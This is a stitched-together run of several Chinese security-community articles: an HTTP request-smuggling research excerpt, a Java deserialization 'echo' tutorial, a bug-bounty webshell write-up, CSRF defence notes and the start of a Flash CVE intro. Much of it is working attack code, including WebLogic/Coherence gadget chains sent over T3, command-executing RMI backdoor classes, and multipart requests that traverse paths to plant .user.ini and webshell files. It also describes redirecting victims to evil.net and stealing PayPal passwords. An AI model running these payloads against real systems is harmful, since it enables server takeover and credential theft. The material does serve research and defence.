能够将一个任意prefix放置到其他人的响应报文中，也打开了另一种攻击途径——触发一个有害的响应。
使用有害反应有两种主要方法。最简单的方法是发出“攻击”请求，然后等待其他人的请求击中后端套接字并触发有害响应。一种更为棘手但更强大的方法是亲自发出“攻击”和“受害者”请求，并希望对受害者请求的有害响应通过Web缓存保存，并提供给访问同一URL的任何其他人-Web缓存中毒。
在以下每个请求/响应片段中，黑色文本是对第二个（绿色）请求的响应。第一个（蓝色）请求的响应被忽略，因为它不相关。
## Upgrading XSS
在审计一个SaaS应用程序时，Param Miner7发现了一个名为saml的参数，Burp
scaner证实它易受反射XSS的攻击。反射式XSS本身不错，但在规模上很难利用，因为它需要用户交互。
通过请求走私，我们可以对主动浏览网站的随机用户提供包含XSS的响应，从而实现直接的大规模利用。我们还可以访问authentication headers
和仅HTTP cookie，这可能会让我们转到其他域。
## Grasping the DOM
在www.redhat.com上查找请求走私链的漏洞时，我发现了一个基于DOM的开放重定向，这带来了一个有趣的挑战：
页面上的一些javascript正在从受害者浏览器的查询字符串中读取“redir”参数，但我如何控制它？请求走私使我们能够控制服务器认为查询字符串是什么，但是受害者的浏览器对查询字符串的认知只是了解用户试图访问哪个页面。
我可以通过服务器端的某个重定向来解决这个问题：
受害者浏览器将收到一个301重定向到<https://www.redhat.com/assets/x.html?redir=//[email protected]/，然后执行基于dom的开放重定向并将其带着数据跳转到evil.net上。>
## CDN Chaining
有些网站使用多层反向代理和cdn。这给了我们额外的机会来desynchronization，这是一直被赞赏的，但它也经常增加了问题带来的严重性
一个目标不知何故地使用两层Akamai，尽管服务器由同一供应商提供，但仍有可能将它们不同步，因此，在受害者网站的Akamai
network中提供不同的内容：
同样的概念也适用于SaaS提供商——我能够攻破一个建立在知名SaaS平台上的关键网站，将请求定向到建立在同一平台上的不同系统。
## 'Harmless' responses
因为请求走私让我们影响对任意请求的响应，一些通常无害的行为成为可利用的。例如，即使是不起眼的重定向，也可以通过将javascript导入，从而重定向到恶意域来危害帐户。
使用307代码的重定向特别有用，因为在发出post请求后接收307的浏览器将把post重新发送到新的目的地。这可能意味着你可以让不知情的受害者直接将他们的明文密码发送到你的网站。
经典的开放式重定向本身就很常见，但是有一种变体在Web中普遍存在，因为它源于Apache和IIS中的默认行为。它很方便地被认为是无害的，被几乎所有人忽视，因为没有像请求走私这样的伴随的弱点，它确实是无用的。如果尝试访问没有尾随斜杠的文件夹，服务器将使用主机头中的主机名进行重定向以附加斜杠：
使用此技术时，请密切关注重定向中使用的协议。您可以使用像x-forwarded-ssl这样的头来影响它。如果它卡在HTTP上，而您攻击的是一个HTTPS站点，那么受害者的浏览器将由于其混合内容保护而阻止连接。有两个已知的例外8-可以完全绕过Internet
Explorer的混合内容保护，如果重定向目标在其HSTS缓存中，Safari将自动升级到HTTPS的连接。
## Web Cache Poisoning
在尝试对特定网站进行基于重定向的攻击几个小时后，我在浏览器中打开了他们的主页以查找更多的攻击面，并在Dev控制台中发现了以下错误：
无论从哪台机器加载网站，都会发生此错误，并且IP地址看起来非常熟悉。在我的重定向探测期间，在我的受害者请求之前，有人请求了一个图像文件，而中毒的响应被缓存保存了下来。
这是对潜在影响的一个很好的证明，但总的来说并不是一个理想的结果。除了依赖基于超时的检测，没有办法完全消除意外缓存中毒的可能性。也就是说，为了将风险降到最低，你可以：
-确保“受害者”请求有一个缓存阻止程序。
-使用turbo Intruder，尽快发送“受害者”请求。
-尝试创建一个prefix来触发反缓存头的响应，或者一个不太可能被缓存的状态代码。
-在不常用的前端处实施攻击。
## Web Cache Deception++
如果我们不尝试减少攻击者/用户混合响应缓存的机会，而是接受它呢？
我们可以尝试用受害者的cookie获取包含敏感信息的响应，而不是使用设计用于导致有害响应的前缀：
前端请求：
当用户对静态资源的请求到达中毒的套接字时，响应将包含其帐户详细信息，并且缓存将通过静态资源保存这些信息。然后，我们可以通过从缓存中加载/static/site.js来检索帐户详细信息。
这实际上是Web缓存欺骗攻击的一个新变体。它在两个关键方面更强大——它不需要任何用户交互，也不需要目标站点允许您使用扩展。唯一的陷阱是攻击者无法确定受害者的反应将落在何处。
## PayPal
由于请求走私连锁缓存中毒，我能够持续劫持众多JavaScript文件，其中之一是在Paypal的登录页面：<https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js>.
但是有一个问题——PayPal的登录页面使用了`script-src`的csp，它破坏了我的重定向。
起初，这看起来像是纵深防御的胜利。但是，我注意到登录页面在一个动态生成的iframe中加载了c.paypal.com上的一个子页面。此子页没有使用CSP，还导入了我们的有害JS文件。这使我们完全控制了iframe的内容，但是由于同源策略，我们仍然无法从父页面读取用户的Paypal密码。
我的同事GarethHeyes随后在paypal.com/us/gifts上发现了一个不使用CSP的页面，并导入了我们中毒的JS文件。通过使用我们的JS重定向c.paypal.com
iframe到该URL（并在第三次触发我们的JS），我们最终可以从使用Safari或IE登录的所有人访问父和窃取明文Paypal密码。
PayPal通过配置Akamai拒绝包含传输编码的请求：chunked header，快速地解决了这个漏洞，并授予了18900美元的赏金。
几周后，在发明和测试一些新的去同步技术时，我决定尝试使用一个换行的头文件：
这似乎使转移编码头对于Akamai来说不可见，成功绕过，并再次授予我控制Paypal的登录页面。PayPal迅速应用了一个更稳健的解决方案，并获得了令人印象深刻的20000美元。(译者跪了2333)
## Demo
另一个目标使用了反向代理链，其中一个没有将'\n'视为有效的头终止符。这意味着他们的网络基础设施中相当大的一部分容易受到走私请求的攻击。我录制了一个演示，演示如何使用非同步来有效地识别和利用Bugzilla安装的副本上的漏洞，该副本包含一些非常敏感的信息。
您可以在本白皮书的在线版本<https://portswigger.net/blog/http-desync-attacks9中找到该视频。>
## Defence
像往常一样，安全很简单。如果您的网站没有负载均衡器、cdn和反向代理，那么这种技术就不是一种威胁。引入的层越多，就越容易受到攻击。
每当我讨论攻击技术时，我都会被问到HTTPS是否可以阻止它。一如既往，答案是“不”。也就是说，通过将前端服务器配置为专门使用HTTP/2与后端系统通信，或者完全禁用后端连接重用，可以解决此漏洞的所有变体。或者，您可以确保链中的所有服务器使用相同的配置运行相同的Web服务器软件。
可以通过重新配置前端服务器来解决此漏洞的特定实例，以便在继续路由之前将不明确的请求规范化。对于不想让客户受到攻击的客户来说，这可能是唯一现实可行的解决方案，CloudFlare和Fastly似乎成功地应用了它。
对于后端服务器来说，正常化请求不是一个选项——它们需要彻底拒绝不明确的请求，并删除关联的连接。由于拒绝请求比简单地使其正常化更可能影响合法流量，因此我建议重点防止通过前端服务器进行请求走私。
当你的工具对你不利时，有效的防御是不可能的。大多数Web测试工具在发送请求时都会自动“更正”内容长度头段，从而使请求无法走私。在BurpSuite中，您可以使用Repeater
menu禁用此行为-确保您选择的工具具有同等的功能。此外，某些公司和bug赏金平台通过Squid之类的代理来转发测试人员的流量，以便进行监控。这些将管理测试人员发起的任何请求走私攻击，确保公司对该漏洞类的覆盖率为零。
## Conclusion
在多年来一直被忽视的研究基础上，我引入了新的技术来取消服务器的同步，并演示了使用大量真实网站作为案例研究来利用结果的新方法。
通过这一点，我已经证明了请求走私是对Web的主要威胁，HTTP请求解析是一个安全关键的功能，容忍不明确的消息是危险的。我还发布了一个方法论和一个开源工具包，帮助人们审计请求走私，证明其影响，并以最小的风险获得奖金。
这一主题仍在研究中，因此我希望本出版物将有助于在未来几年内激发新的去同步技术和开发。
## References
1. <https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf>
2. <https://portswigger.net/blog/turbo-intruder-embracing-the-billion-request-attack>
3. <https://tools.ietf.org/html/rfc2616#section-4.4>
4. <https://regilero.github.io/tag/Smuggling/>
5. <https://github.com/portswigger/desynchronize>
6. <https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface> 7\. <https://github.com/PortSwigger/param-miner>
7. <https://portswigger.net/blog/practical-web-cache-poisoning#hiddenroutepoisoning>
8. <https://portswigger.net/blog/http-desync-attacks>
## 议题原文件
<https://pan.baidu.com/s/1ycNVD8Y3EIr4ayEnM9eqew> | 社区文章 |
**作者：Skay @ QAX A-TEAM
原文链接：<https://mp.weixin.qq.com/s/0fWSp71yuaxL_TkZV65EwQ>**
阅读文章前希望先对ClassLoader以及defineClass有了解。[Java
RCE中类反射获取&动态加载](https://mp.weixin.qq.com/s/fkd1Qhgr4BcQXaguCd5TAg)
defineClass归属于ClassLoader类，目前很多java的回显方式都是在其基础上进行改进，其主要作用就是使用编译好的字节码就可以定义一个类。引用于[y4er](https://y4er.com/post/java-deserialization-echo/)
# 一、回显的几种方式
* 直接调用defineClass
* RMI绑定实例结合
* 获取resp写入回显结果
* 异常抛出 报错回显
* 写文件
* Dnslog
# 二、回显方式分析
## 1.RMI绑定实例结合
### (1) RMI/IIOP RCE回显的原理
#### 基本原理
talk is cheap，let‘s see the code
1.定义一个Echo接口，继承Remote类
public interface Echo extends Remote {
String exec(String cmd) throws RemoteException;
}
2.实现这个接口
public class EchoImpl implements Echo{
@Override
public String exec(String cmd) throws RemoteException {
InputStream in = null;
try {
in = Runtime.getRuntime().exec(cmd).getInputStream();
}catch (Exception e){
e.printStackTrace();
}
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String result = s.hasNext()?s.next():"";
return result;
}
}
3.服务端绑定EchoImpl
public class EchoServer {
public static void main(String[] args) throws Exception{
Echo echo = new EchoImpl();
Echo e = (Echo) UnicastRemoteObject.exportObject(echo,9999);
Registry registry = LocateRegistry.createRegistry(9999);
registry.bind("Echo",e);
System.out.println("Start RMI Server................");
}
}
4.客户端实现RMI远程方法调用
public class EvilClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
Echo echo = (Echo) registry.lookup("Echo");
System.out.println(echo.exec("ipconfig"));
}
}
最终实现效果
上面RMI回显原理有了，我们有了回显的方法，现在只需再RCE的漏洞利用中，重现构造出上述步骤。
#### **逻辑思路**
* 利用漏洞点调用ClassLoader的defineClass方法
* 写入类：defineClass在目标服务器运行返回我们构造的类(已经写好的RMI接口类)
* 绑定类：将RMI接口类绑定到目标服务器，也就是将我们构造的恶意类注册到rmi注册中心
* 攻击者本地远程调用方法获取回显结果
**首先，我们先将需要绑定的恶意类准备好。**
我们需要目标存在一个继承了Remote的接口，并且接口方法返回类型为String(因为要返回命令执行的结果)且抛出RemoteException异常，然后本地构造一个类实现这个接口。
直接在Remote类下Ctrl+H
weblogic_cmd用的是这个
本地构造EvilImpl
public class EvilImpl implements ClusterMasterRemote {
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
**恶意类准备好了，接下来就是绑定到目标服务器。** 这里使用到的代码
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("Evil",remote);
} catch (Exception e) {
e.printStackTrace();
}
在服务端执行上述代码即可将而已类绑定到目标服务器，问题是我们怎么执行上述代码？ 将上述代码写到我们构造的EvilImpl
main方法中，definClass获取到EvilImpl 的 Class后直接利用 **CC** 或者 **coherence** 进行反射调用。
所以我们修改EvilImpl如下
public class EvilImpl implements ClusterMasterRemote {
public static void main(String[] args) {
EvilImpl remote = new EvilImpl();
try {
Context context = new InitialContext();
context.rebind("Evil",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
**下面还剩最后一个问题，获取defineClass**
，有多种实现方式，可以在Weblogic中找ClassLoader的子类，也可以从Thread中获取，也可直接反射调用。
### (2) Weblogic 结合CC链 回显实现
上面回显原理已经将大体流程说明完毕，CC的引入就是为了解决两个问题，defineClass的获取，以及EvilImpl类main方法的反射调用。
#### defineClass的获取
网上大多是直接找的ClassLoader的子类
jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass
org.mozilla.classfile.DefiningClassLoader#defineClass 使用这个
#### CC链构造
接下来就是结合CC利用链进行构造，首先获取defineClass，然后调用我们EvilImple的main方法。CC是可以调用任意类的任意方法的，所以构造起来也很容易(当然了，是站在前人的肩膀上，手动狗头)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new ConstantTransformer(new HashSet())
};
至此，整个回显过程就串起来了，weblogic的反序列化RCE为漏洞点，CC链串起来回显的整个过程：从defineClass的调用到EvilImple的绑定，最后攻击者本地调用远程方法即可实现回显。
### (3) Weblogic 结合coherence链 回显实现
虽然上述回显已经成功，但是CC链早就被Weblogic放入了黑名单，且在18年补丁之后，Weblogic修改了自身的cc依赖，使之不能反序列化。新的漏洞需要实现回显，需要重新找出一个可以替代CC的链
---> coherence中的LimitFilter
首先复习以下CVE-2020-2555的利用链 BadAttributeValueExpException -> readObject ->
LimitFilte的toString(Coherence中) -> ReflectionExtractor的extract() ->
method.invoke()
payload如下
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", "calc"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
// BadAttributeValueExpException toString()
// This only works in JDK 8u76 and WITHOUT a security manager
// https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// serialize
byte[] payload = Serializables.serialize(badAttributeValueExpException);
// T3 send, you can also use python script. weblogic_t3.py
T3ProtocolOperation.send("10.251.0.116", "7001", payload);
// test
serialize(badAttributeValueExpException);
System.out.print(payload);
// deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("w2555.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
看到无回显的CVE-2020-2555 payload 对于com.tangosol.util.filter.LimitFilter
的利用看起来真是似曾相识(commons-collections),，com.tangosol.util.extractor.ReflectionExtractor#extract中，调用了
invoke
,类比于CC中transform的invoke，模仿CC的回显思路，构造coherence的回显，关键的ReflectionExtractor[]构造如下
ValueExtractor[] valueExtractors = new ValueExtractor[]{
? ? new ReflectionExtractor("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
? ? new ReflectionExtractor("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
? ? new ReflectionExtractor("defineClass",
? ? ? ? ? ? ? ? ? ? ? ? ? ?new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
? ? new ReflectionExtractor("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
? ? new ReflectionExtractor("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
};
## 2.直接调用defineClass
### (1) CVE-2020-14644 回显实现
#### 1.漏洞原理分析
[Weblogic CVE-2020-14644
分析](https://mp.weixin.qq.com/s/uawEudfqvQ6E54Ev8APaaQ)
大致可以认为，是可以执行我们自定义类中statice代买块中的java代码，也就是，执行任意Java代码。
#### 2.回显实现
其实也是借用rmi实现的回显，但是更方便了，我们不用再借用CC或者coherence将整个rmi回显过程串联起来了(也就是省去了defineClass获取以及反射调用main绑定的步骤)，直接将我们的回显逻辑写到static代码块中，目标服务器直接执行即可。
直接看我们要执行的staic代码<https://github.com/potats0/cve_2020_14644>
public class test implements Remotable, ClusterMasterRemote {
static {
try {
String bindName = "UnicodeSec";
Context ctx = new InitialContext();
test remote = new test();
ctx.rebind(bindName, remote);
System.out.println("installed");
} catch (Exception var1) {
var1.printStackTrace();
}
}
public test() {
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String var1, String var2) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList<String>();
if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
## 3.获取resp写入回显结果
### (1) Tomcat 通用回显
目的：获取返回包并写入回显内容
[站在巨人肩膀上](https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/#2-2-2-%E4%BB%8ERegistry%E4%B8%AD%E8%8E%B7%E5%8F%96)，实现逻辑如下
，这里注意下Mbeans的利用(给自己留个坑)
> Registry.getRegistry(null, null).getMBeanServer() ->
> JmxMBeanServer.mbsInterceptor -> DefaultMBeanServerInterceptor.repository ->
> Registory#query -> RequestInfo -> Http11Processor#getRequest() ->
> AbstractProcessor#getRequest() -> Request#getResponse() ->
> Response#doWrite()
具体实现demo
移步[https://xz.aliyun.com/t/7535](https://xz.aliyun.com/t/7535#toc-3)[#toc-3](https://xz.aliyun.com/t/7535#toc-3)
注：回显需要结合在每个gadget中，在反序列化漏洞利用中才能起到真实效果。这里对于gadget的要求最好是可以直接执行java代码，比如CC3
CC4，或者可以间接调用defineClass。当然了，如果漏洞本身就可以直接执行Java代码，那是再方便不过了。
### (2) Weblogic 2725 回显
https://github.com/welove88888/CVE-2019-2725
这个项目中使用的回显方式即先获取当前现成，从中获取返回respose，写入回显内容
代码参考<https://xz.aliyun.com/t/5299#toc-10>
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
结合CVE-2019-2725这个漏洞，需要将上面的类转化为xml格式，weblogic
xmldecoder反序列化漏洞，从漏洞角度来说，是支持调用任意类的任意方法，这里直接使用org.mozilla.classfile.DefiningClassLoader的defineClass方法将回显写入类实例化执行。
其实，这里也可以结合rmi实现回显的方式，毕竟都可以调用defineClass了。
### (3) Websphere 回显
大体思路也是从线程中获取request respose
参考<http://blog.corener.cc/2020/04/28/Tomcat-Echo/#%E5%BD%A9%E8%9B%8B-websphere%E5%9B%9E%E6%98%BE>
Thread t = Thread.currentThread();
Field wsThreadLocals = t.getClass().getDeclaredField("wsThreadLocals");
wsThreadLocals.setAccessible(true);
Object[] obs = (Object[])wsThreadLocals.get(t);
WebContainerRequestState wr = (WebContainerRequestState)obs[36];
wr.getCurrentThreadsIExtendedRequest().getRequestURL();
### (4) Spring Boot 回显
网上也有结合Spring Boot 进行回显，弱弱说一句，直接可以利用中间件回显，这个就Pass了先。
## 4.异常抛出 报错回显
### (1) 带回显的攻击RMI服务
这里我们需要跟一下RMI的流程中 **客户端的lookup方法**
站在巨人肩膀上(其实就是偷个懒)<https://blog.csdn.net/qsort_/article/details/104861625>
在UnicastRef类的newCall方法中与服务端建立Socket连接，并发送一些约定的数据
通过ref.invoke方法处理服务端响应回来的序列化数据。
因为在lookup之前执行了getRegisty方法，返回的是RegistryImpl_Stub对象，所以这里的lookup调用的是RegistryImpl_Stub的lookup，我们跟进，已经将关键位置标红
**1.首先进入UnicastRef类的newCall方法：**
**1.1 首先是获取了一个TCP连接，**
可以看到是使用LiveRef去创建的连接，在调试RMIServer时，我们已经知道LiveRef中包含TCPEndpoint属性，其中包含ip与端口等通信信息：
**1.2再往下走，看到new了一个StreamRemoteCall**
对象，进入StreamRemoteCall的构造方法，其做了如下操作，往服务端发送了一些数据：
**2.回到lookup继续往下走**
，执行了ObjectOutput.writeObject，这里是将lookup方法中传递的远程服务的名称，即字符串“HelloService”进行了序列化并发往了服务端，然后又执行了super.ref.invoke方法，进入该方法如下，然后继续往下走，
通过ref.invoke方法处理服务端响应回来的序列化数据。
**3\. lookup往下走，进入StreamRemoteCall类的executeCall方法**
，可以猜到该方法就是处理第7步往服务端发送数据后的服务端响应的数据，看到从响应数据中先读取了一个字节，值为81，然后又继续读取一个字节赋值给var1，
下面是判断var1的值，为1直接return，说明没问题，如果为2的话，会先对对象进行反序列化操作，然后判断是否为Exception类型
网上有关于带回显的攻击RMI服务的exp，它就是将执行完命令后的结果写到异常信息里，然后抛出该异常，这样在客户端就可以看到命令执行的结果了，这时得到的var1的值就是2
当上一步var1值为1时，说明没问题，再回到lookup，会执行ObjectInput.readObject方法将服务端返回的数据反序列化，然后将该对象返回（前面我们也知道了，这里获取到的其实是一个代理对象）。至此，客户端整个请求的过程也梳理完了
### (2) URLClassLoader加载远程恶意类，抛出异常回显
首先构造恶意类，将执行结果作为异常抛出
但后利用某个反序列化利用链，调用URLClassloader，远程加载恶意类并执行实现回显
这里是CC5
By the way URLClassLoader换成defineClass，利用起来不用出网了就。
## 5.写文件
顾名思义，直接写文件到目标，访问读取，不再赘述
## 6.Dnslog
dnslog方式
# 三、参考链接
<https://y4er.com/post/java-deserialization-echo>
<https://xz.aliyun.com/t/7393>
<https://xz.aliyun.com/t/7228>
<https://github.com/5up3rc/weblogic_cmd>
<https://blog.sari3l.com/posts/fa80d225/>
<https://github.com/potats0/cve_2020_14644>
<https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/>
<https://xz.aliyun.com/t/7535>
<https://xz.aliyun.com/t/5299>
<https://blog.csdn.net/qsort_/article/details/104861625>
<https://xz.aliyun.com/t/5257>
* * * | 社区文章 |
像往常一样闲来无事挖src，打开<http://t.xxx.com.cn>
开局就是一个登陆页面在登陆页面测试无果，随手输入<http://t.test.xxx.com.cn>
发现是403页面。
想起<http://t.xxx.com.cn> 是一个php的网站
遂尝试对<http://t.test.xxx.com.cn> 进行目录爆破，扫到如下php文件（其他目录没扫到什么文件就不列了）
http://t.test.xxx.com.cn/m.php
http://t.test.xxx.com.cn/ua.php
https://t.test.xxx.com.cn/receiver.php
https://t.test.xxx.com.cn/abc/config.php
https://t.test.xxx.com.cn/abc/index.php
发现m.php是一个adminer如下
看到这个页面尝试弱口令登陆无果，想起了前段时间做的MySQL服务端读取客户端的漏洞
poc: <https://github.com/allyshka/Rogue-MySql-Server>
在服务端监听后，使用adminer连接服务端
起初读/etc/passwd ,报错显示为opendir的关系，于是读取web文件，
于是读取 /data01/htdocs/m.php文件成功读取
由于已经发现有config.php，于是读取config.php 发现mysql配置文件，得到mysql账号名和密码
define('DB_USRE', 'abc');
define('DB_PWD', 'xxxxxxxxxxxxx'); 总之很长一串
登录后发现，就一个test表，权限非常低。遂放弃通过mysql获取webshell转而去分析其他文件。
分析到receiver.php的时候发现为一个文件上传的接口文件，代码如下：
经过分析代码后发现上传文件存在黑名单过滤，服务器为nginx服务器
存在file、token、to参数
如果to和token都存在的话 会上传文件到/oss/public/目录下
但是可以通过拼接to参数形式把路径重定向到web目录下
构造如下表单
------------ -----------------------------57052814523281
Content-Disposition: form-data; name="to"
/../../data01/htdocs/1.shtml
-----------------------------57052814523281
Content-Disposition: form-data; name="token"
oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
123
-----------------------------57052814523281--
------------
成功上传html，但是又陷入了困境。
由于php被过滤，尝试php3 php5都不解析，猜测nginx只解析php文件，尝试nginx解析漏洞也无果。
这时想到p牛曾经提到的.user.ini后门，利用.user.ini造成文件包含的效果最近ctf也有出现。
<https://xz.aliyun.com/t/6091>
于是构造
------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"
/../../data01/htdocs/abc/.user.ini
-----------------------------57052814523281
Content-Disposition: form-data; name="token"
oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
auto_prepend_file=1.jpg
-----------------------------57052814523281--
------------
再上传jpg文件
------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"
/../../data01/htdocs/abc/1.jpg
-----------------------------57052814523281
Content-Disposition: form-data; name="token"
oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php
xxxxx
?>
-----------------------------57052814523281--
------------
然后访问<https://t.test.xxx.com.cn/abc/config.php>
成功获取webshell
由于是src，没有进行进一步的提权及内网渗透。
* * * | 社区文章 |
本质：产生的原因本质上是参数可知或可预测
防御：
1、加密参数：加密加盐，不可知，不可预测
忧虑，引入其他麻烦：一、数据分析困难
二、正常功能会受影响，比如url收藏
2、验证码：用户在确认操作
破解：只防止了用户不知情点击的情况，用户知情时也可以诱导点击
3、referer check：验证上一url，源检测
破解：一、诱导合理顺序产生合理源referer
二、有些应用可以自定义referer
忧虑：referer check不一定可用，有些应用禁止了（处于隐私考虑或其他）
辅助手段
4、token：增加一个随机参数 （问题：只是参数值随机、不可预测，还是参数名也有必要随机？
名也随机不好传参？），只有服务端与客户端知道的秘密（如可在cookie中也放置，对比与提交的参数（表单）中是否一致，具体应用场景具体设计）
缺陷：只防护单纯的csrf，当存在xss时，token也被获取
具体应用场景、业务可使用、适用的不同，有些简单设置，有些严格设置；设想如果可以token加密怎样？ 这几种都应用怎样？
但具体业务场景中不太现实，毕竟还需要为业务做数据分析、考虑用户体验等等；
so，具体应用、场景，具体分析、设计；
有不对的地方欢迎大家指正，谢谢 | 社区文章 |
# 引言
* * *
## 1\. 漏洞概述
2018年2月1号，Adobe官方发布安全通报（APSA18-01），声明 **Adobe Flash 28.0.0.137**
及其之前的版本，存在高危漏洞（CVE-2018-4878）。攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。直到2018年2月5号，Adboe才发布补丁来修复此0
day漏洞。
互联网上出现的基于此Flash 0day漏洞进行攻击的样本，其实在2017年底就已经由韩国计算机应急小组（KR-CERT）首次发现。
## 2\. 相关知识介绍
**2.1 exp介绍**
EXP =
Exploit的中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码，可以使得读者完全了解漏洞的机理以及利用的方法。
